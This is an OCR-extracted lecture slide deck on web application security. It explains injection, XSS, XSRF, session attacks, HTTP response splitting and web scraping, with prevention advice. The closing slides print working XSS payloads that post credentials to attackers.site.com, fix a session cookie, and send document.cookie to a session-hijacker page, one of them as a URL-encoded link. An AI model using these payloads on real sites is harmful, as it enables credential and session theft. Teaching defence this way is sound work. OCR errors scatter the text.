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— Why web security is so important ?
— |Is this problem inside applications ?

— Attacks in detalls:
* injections,
 XSRF,
e session attacks,
« HTTP response splitting.

— Web scrapping
— Tools
— Security audits — who needs them ?




— Successful attacks often made a website unavailable (no
service = no0 money).

— Successful attacks discredit institution running attacked
website (users affected by an attack will likely ask the institution for a
fulfillment).

— Successful attacks discredit application developers who
have created the web application (institution affected by an

attack will likely ask developers for a fulfillment) !
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The Top Ten Vulnerabilities Defined
(source: WhiteHat Security report 10.2007):
. Cross-Site Scripting (7 in 10 websites)
. Information Leakage (5 in 10 websites)
. Content Spoofing (1 in 4 websites)
. Predictable Resource Location (1 in 4 websites)
. SQL Injection (1 in 5 websites)
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The Top Ten Vulnerabilities Defined
(source: WhiteHat Security report 10.2007):
6. Insufficient Authentication (1 in 6 websites)
/. Insufficient Authorization (1 in 6 websites)
8. Abuse of Functionality (1 in 7 websites)
9. Directory Indexing (1 in 20 websites)
10.HTTP Response Splitting (1 in 25 websites)




Every piece of data that comes from a user’s web
browser is potentially dangerous and should be
sanitized before it is used by the web application !

Data filtering concepts:
e input filtering,
e output filtering.
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I — Client side:
« HTML Injection
e Cross-Site Scripting (XSS)
e Cookie Poisoning
— Server side:
I « Command Injection
e Path Manipulation
I e SQL Injection
e XPath Injection
e Other Injections




HTML Injection refers to injecting HTML code into
a web servers response to alter the content to the
end user. Although it Is also known as Cross-Site
Scripting (XSS), we will distinguish XSS as

separate type of attack (as a subtype of HTML
Injection).

HTML Injection exploits trust given by user to the
site.




Hazard of HTML Injection

An attacker can inject malicious code that will be
Interpreted by the victim's browser. Injected HTML

IS able not only to change the way how content Is
rendered by a browser but it can also change the

site's behavior.




Prevention of HTML Injection
— Validate input data (use rather whitelists then blacklists).

— Sanitize data before displaying it to the user (use HTML
escaping for all characters other then letters and digits in any
data that originates from user’s browser).

— Use XHTML instead of HTML (even if the injection is
possible, it is more difficult...)

— Set correct character encoding (some UTF-8 decoders
accepts non UTF-8 byte sequences).

— Do frequent code audits (both server and client sides).

I — Do not forget to check also data coming from a database!
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XSS (Cross-Site Scripting) is HTML Injection attack with
script (f.e. JavaScript) payload.

XSS is classified as reflected type (referred also as
XSS type 1 or non-persistent XSS) when attack payload
IS used immediately by server-side to generate
response for the user.

XSS is classified as stored type (referred also as XSS
type 2 or persistent XSS or second-order XSS) when
attack payload is first stored on the server-side and
then served in server responses to any user visiting
affected part of the site.
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Hazard and prevention of reflected XSS

Since injected script code origins (from the web browser
point of view) from attacked site it has executed with
permissions of the site.

A script has an unlimited access to DOM of the page,
user data e.g. cookies...

XSS is often a starting point for more complex attacks.

XSS reflected type prevention is the same as in case of
HTML Injection. In addition, HttpOnly cookies should be
used.




Hazard of stored XSS

Hazard in case of XSS stored type is the same as in
XSS reflected type, but attack is much more powerful

since payload can be displayed by other users (e.g. site
administrator).

It can be a starting point for more powerful attacks e.g.
XSRF, Session Fixation, Session Hijacking ect.




Prevention of stored XSS

XSS stored type prevention is the same as in case of
HTML Injection. In addition HTTP-Only cookies should

be used.

Moreover if users publish HTML content (CMS, ...)
Introducing BBCode is a good idea (please pay
attention to all allowed tags).




Cookie Poisoning is modification of the content of the
cookie used mostly for bypassing security mechanisms.

"Cookie Consumption” is variant of cookie poisoning

which aims to abuse site functionality. Character
sequences like \” or \’ set as value of the cookie cause
errors during server side cookie parsing. In fact cookies
containing session id, etc. are not readable.




Cookie Poisoning hazard and prevention

Cookie can be used as an attack payload carrier what
makes attacks persistent.

HTTP cookies come from the user, the same
restrictions as in case of HTML Injections input data
should be used here.

"Cookie Consumption” issue is not fully addressed.




Command Injection attack aims to inject and execute
system command with the utilization of the web
application.

Command is executed with privileges of legitimate system

user (in many cases with privileges of the user running the
web server).

This and other server side injection attacks are extremely
dangerous and can be prevented by proper data
sanitization.




Path Manipulation attack aims to tamper web application
parameters in the way which will allow to gain access to
file/resource that user was not authorized to.

Example of the Path Manipulation attack is Path Traversal.

In form of ../ or encoded (e.g. %2e%2e%?2f) into
parameters.

Injecting such sequences allows to "jJump out” of the
directory that contains user’s files and operate on e.g. logs

= Path Traversal base on injecting "dot-dot-slash” sequences
I or server configuration files.
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SQL Injection is an attack used to exploit database queries
based on the input data.

Successful exploitation of the SQL Injection flow can result
in reading and modifying information in the database or
executing administration commands, etc.

Some technologies (e.g. JSP, ASP.NET) are more
Immune to SQL Injection due to APIs utilized in these
technologies (input data is not directly used in SQL
gueries). In this case it is less likely SQL Injection will be
exploited.

PHP or ASP are at much higher risk.

To reduce risk detailed SQL errors should not be
presented to users.




XPath Injection attack is similar to SQL Injection.
Differences:

— Input data is utilized to construct XPath query to XML
data,

— XPath Injection will not modify XML data nor execute
administration command,

— there are no different XPath dialects (like in case SQL)
so crafting attack is easier.




Other server side injections:
— LDAP Injection - similar to SQL Injection.

— Direct Static Code Injection attack e.g. SSI (Server Side
Includes) Injection. Attack depends on the server

— Direct Dynamic Code Evaluation attacks aims to inject
code into input date in order to execute it in the eval(”)
statement.

= configuration.




XSRF (Cross Site Resource Forgery) (referred also as
one click attack or session riding or hostile linking)
smuggles (enclose in URLs or forms etc.) commands to
be executed on the site on behalf of an authenticated
user (e.g. site administrator).

XSRF exploits trust given by the site to the user.




Hazard of XSRF

Very dangerous e.g. administrative commands can be
executed while affected part of the site is visited by the

administrator.

Commands can be smuggled in src attribute of an img
tags, so detection of this type of attack by the victim is
highly unlike.




Prevention of XSRF

— Check if request is POST (makes XSRF more difficult).

— Check HTTP referer if exists (makes XSRF more
difficult).

that might be danger (makes XSRF much more
difficult).

— Require password when user attempts to perform some
extremely danger operation.

— Remove all XSS flows.

I — Use Deja Vu tokens while performing some operation
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— Session Hijacking

— Session Fixation
— Session Prediction
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Session Hijacking refers to the exploitation of a valid
session to gain unauthorized access to the system.

In case of WWW word it refers to stealing and reusing
cookie containing session ID.




Attacker can browse restricted area of the site or
perform any operations on behalf of the user.

To prevent Session Hijacking bind session with an IP
address (doesn't solve problem for users sharing an IP).
Use Deja Vu tokens (makes attack more difficult and
more detectable but logs out users utilizing back button
of the browser). HttpOnly cookies for session id (should
be implemented by Tomcat).




Session Fixation refers to "infecting” victim with a valid
session ID in order victim authenticate itself in the
system in the scope of the session.

Usually attacker:

— Creates session,

— "Infects” victim with session ID (e.g. using XSS flaw),

— keeps session alive waiting for victim to authenticate.
For hazard and prevention refer to Session Hijacking.




Session Prediction is an attack which base on analyzing
and understanding the session ID generation process.

If attacker will manage to predict a valid session ID
value session hijacking is possible.

For hazard and prevention refer to Session Hijacking.

To prevent Session Prediction use session id
generation algorithms which give highly random results.




HTTP Response Splitting aims to force WWW server to
generate 2 responses in reply to 1 request. This goal is
achieved by injecting CRLF (also coded as %0d%0a or
\r\n) sequence in data utilized by the web server Iin
HTTP response headers.

The second response is entirely under attacker’s
control.




Hazard and prevention of HTTP Response Splitting

— Single user affected by the second response (e.g. with
XSS attack).

second response can cause attack to be persistent on a
W3Cache server.

— Page Hijacking — attacker can intercept content of the
page that was supposed to be presented to the victim.

— Data sanitization prevents HTTP response splitting.

I — Cache Poisoning — HTTP response headers of the




The Web Scrapping is a software based computer
technique which aims to extract a huge amount of
Information from the web.

Typically, the technique allows to transform non
structured HTML based data in a structured form, like a
database.

While some forms of Web Scrapping are acceptable
(e.g. search engine robots indexing the web), there are
numerous generic tools and dedicated solutions aiming
at stealing of the web content which is a subject of
Intellectual property (e.g. stealing of online products
databases).
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"Episode type” attack (attacker visit page only once)
aims to:

— steal products database (target: web store),

— harvest email addresses for spamming purpose (target:
I message board, yellow pages like sites).




Continuous attack (backend for a mashup type website)
aims to:

I — fill ” Made for AdSense” website with some content
I (target: information services, auction services, internet

stores),

— resell services which are free (target: yellow pages like
sites),

— run competition business (target: yellow pages like
sites, real estate, forex sites, financial sites).
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— Increased load of the web server (service is responding
to real users much slower),

— Increased internet connection saturation (service is
responding to real users much slower),

= — Increased power consumption (it costs !).




For well-behaved boots (e.g. search engines robots):

— Robots Exclusion Protocol (REP) - robots.txt file located
on the web server. It contains rules for robots.

— Sitemaps (collaboration of Google, Yahoo and

Much more modern and flexible then REP.

— <META> tag "robots” — information for robots if they
should index content and follow links in the document.

— Blocking access on basis of HTTP User-Agent request
header.

I Microsoft) - sitemap.xml files located on the web server.




For malicious boots:

— Blocking or reduce bandwidth for IP address which
excess traffic (can hurt real users — f.e. using corporate

Proxy).

— Verify if it is a real person with some kind o challenge
f.e. with CAPTCHA (can be beaten with OCR or human
solvers).

— Obfuscating code with well crafted JavaScript
(expensive).




— HTTP Proxies (e.g. Paros, Burp) — used by web
security experts for watching/modifying HTTP
requests/HTTP responses on their way between web
browser and a server.

— Browser extensions (e.g. DOM inspector or user scripts

experts for watching/changing HTML and JavaScript
content in the web browser.

I extensions like GreaseMonkey) — used by web security
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Do not make security research on resources you are
not allowed to !

If you are asked to audit website’s security always verify
If ordering party is the owner of the website.

The simplest way to do it is to ask to put some resource
(e.g. txt file with agreed-upon content or name) on the
website.
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"WebGoat is a deliberately insecure J2EE web
application maintained by OWASP designed to teach
web application security lessons. In each lesson, users
must demonstrate their understanding of a security
Issue by exploiting a real vulnerability in the WebGoat
application. For example, in one of the lessons the user
must use SQL injection to steal fake credit card
numbers. The application is a realistic teaching
environment, providing users with hints and code to
further explain the lesson” (source: OWASP).



— Everyone who is going to offer their application to
anyone
» Take care of your customers! Not all of them are IT security
specialists!
— Independent security audit
* The specialists are more security-oriented and experienced
» A fresh, objective look, not oriented by working on the
application or system
— Security Is not a state, it is a process

* The audits should be reqgular, especially after releasing a new
version or adding functionality

* New types of attacks are discovered
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Zapraszamy studentow PP
(1 nie tylko ;-) do
wspo pracy !
Kontakt:

Krzysztof Kurowski

<krzysztof.kurowski@man.poznan.pl>

Tomasz Kuczy ski

<tomasz.kuczynski@man.poznan.pl>



Thank You

Tomasz Kuczy ski

<tomasz.kuczynski@man.poznan.pl>



XSS:

"></form><form
onsubmit="this.login.value=document.forms.fm1.login.value;"
action="http://attackers.site.com/saveCredentials"><input type="hidden"
name="login"/><input type="hidden

Session Fixation:
"><script>document.cookie="JSESSIONID=B67578E306B639E7412D11F
BFC5AB1A5; Path=/";</script><input type="hidden

Session Hijacking:

"><script>document.write('<img height="0" width="0"

src="http://attackers.domain.com/sessionHijacker.jsp?cookie=FROM _[IMA
GE'+document.cookie+"/>");</script><input type="hidden



<a
href="http://attacked.site.com/web/guest/home?p_p_id=77&amp;p
_p_action=0&amp;p_p_state=maximized&amp;p_p_mode=view&
amp;p_p_col_id=null&amp;p_p_col pos=0&amp;p_p_col count=0
&amp;_77_struts_action=%2Fjournal_content_search%?2Fsearch
&amp;_77 _keywords=%22%3E%3Cscript%3Ewindow.onload%3D
function%28%29%7Bdocument.write%28%27%3ChtmI%3E%3Cfr
ameset+cols%3D%5C%270%2C100%25%5C%27%3E%3Cframe
+Src%3D%5C%27http%3A%2F%2Fattackers.site.com%3A18080
%2FsessionHijacker.jsp%3Fcookie%3D%27%2Bdocument.cookie
%2B%27%5C%27%2F%3E%3Cframe+src%3D%5C%27http%3A
%2F%2Fattackers.site.com%3A18080%2Fredirect.jsp%3FreturnU
RL%3Dhttp%253A%252F%252Fsome.other.frame.killer.site.com
%252F%5C%27%2F%3E%3C%2Fframeset%3E%3C%2Fhtm|%3
E%27%29%7D%3C%2Fscript%3E%3Cinput+type%3D%?22hidde
n%22+">Click here to go to some.other.frame. Kkiller.

site.com </a>



